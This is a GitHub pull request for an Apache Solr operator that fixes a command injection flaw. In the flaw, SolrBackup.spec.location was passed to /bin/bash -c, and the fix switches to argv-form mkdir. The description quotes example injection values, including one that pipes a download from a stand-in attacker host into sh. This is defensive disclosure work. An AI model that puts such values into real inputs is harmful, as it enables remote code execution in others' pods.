Skip to content

Prevent command injection via SolrBackup.spec.location - #844

Open
apvxlab wants to merge 1 commit into
apache:mainfrom
apvxlab:fix/solrbackup-location-command-injection
Open

Prevent command injection via SolrBackup.spec.location#844
apvxlab wants to merge 1 commit into
apache:mainfrom
apvxlab:fix/solrbackup-location-command-injection

Conversation

@apvxlab

@apvxlab apvxlab commented Aug 17, 2026

Copy link
Copy Markdown

Summary

EnsureDirectoryForBackup in controllers/util/backup_util.go passes SolrBackup.spec.location through /bin/bash -c when creating the backup directory via pod exec. Because spec.location is user-controlled CR input, a malicious value like foo; curl attacker.com/x | sh is executed as a shell command inside the Solr pod.

Fix: use exec-form argv ([mkdir, -p, backupPath]) instead of shell-form, so backupPath is treated as a literal path argument and shell metacharacters are inert.

Test plan

  • Verified the fix compiles and existing tests pass
  • Confirmed the original shell-form code is reachable from reconcile via EnsureDirectoryForBackup
  • Manual code review confirms no other call sites pass user input through shell-form exec

EnsureDirectoryForBackup built a shell command by concatenating the
user-controlled backup location into "/bin/bash -c \"mkdir -p \" + path"
and exec'ing it in the Solr pod. A SolrBackup.spec.location containing
shell metacharacters (e.g. "x; touch /tmp/pwned;") therefore executed
arbitrary commands in the pod as the SolrCloud service account.

Exec mkdir in argv form (["mkdir","-p",backupPath]) with no shell, so the
path is treated as a single literal argument and metacharacters are inert.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Signed-off-by: apvxlab <vijayeis@apvxlab.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant